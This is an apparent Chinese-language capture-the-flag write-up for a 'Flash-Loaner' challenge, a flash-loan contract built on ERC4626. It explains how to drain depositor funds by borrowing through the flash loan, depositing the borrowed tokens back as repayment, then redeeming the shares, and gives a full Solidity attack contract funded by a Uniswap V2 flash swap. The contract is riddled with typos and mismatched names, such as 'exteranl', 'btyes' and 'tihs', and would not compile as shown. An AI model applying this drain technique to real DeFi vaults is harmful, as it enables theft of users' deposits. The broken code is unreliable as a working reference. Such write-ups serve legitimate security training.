CTF-Flash-Loaner

题目源码:点击

题目要求:
FlashLoaner 合约接受用户的资金以促进闪电贷,其中他们收取少量费用。这笔费用作为收益提供给储户。

您的任务是从该合约中抽走 99%+ 的用户资金。您开始时没有资金。

这题看起来就是很闪电贷。但是阅读完后,并没有发现一些漏洞,突破口就是这个代码: IFlashCallback(msg.sender).flashCallback(fee, data);可是我们的回执函数能做些什么呢,除了还款我想不到其他方向了

再次审阅合约,发现这个闪电贷是继承ERC4626合约的,意味着它也可以实现存取功能,所以思路就打开了,首先借入一些代币,在调用deposit函数,存入闪电贷中,满足还款条件,然后再执行withdraw函数,又将代币撤回

攻击合约:

//SPDX-License-Identifier: MIT
pragma solidity^0.8.17;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IUniswapV2Pair{
     function swap(
        uint amount0Out, 
        uint amount1Out, 
        address to, 
        bytes calldata data
    ) external;

}

interface ILoan{
    function deposit(uint256 assets, address receiver) external returns (uint256);
    function redeem(uint256 shares,address receiver,address owner) external returns (uint256);
    function flash(address recipient,uint256 amount,bytes calldata data) external;
}

contract Hack{
    IUniswapV2Pair pair;
    ILoan loaner;
    IERC20 udsc;

    constructor(address _pair,address _loaner,address udsc){
        pair = IUniswapV2Pair (_pair);
        loaner = Loaner(_loaner);
        udsc = IERC20(_udsc);
         usdc.approve(address(loaner), type(uint).max);
    }

    function pwn () exteranl {
        pair.swap(100_000e18.0.address(this),new btyes(1));
        udsc.transfer(msg.sender,udsc.banlanceOf(address(tihs)));
    }

    function uniswapV2Call (address _address,uint256 amount0,uint256 amount1,bytes memory data) exteranl{
        loaner.flash(address(this),udsc.balanceOf(address(loaner))-1,new bytes(0));
        loaner.redeem(loaner.balanceOf(address(this)),address(this),address(this));
        udsc.transfer(address(pair),(amount0*103/100)+1);
    }

    function flashCallback(uint256 fee,byte calldata) external{
        loaner.deposit(100_1000e18,address(this));
        udsc.transfer(address(loaner),fee);
    }
}
完结。这个题和前面的ctf-bonding-curve还是有点一样的。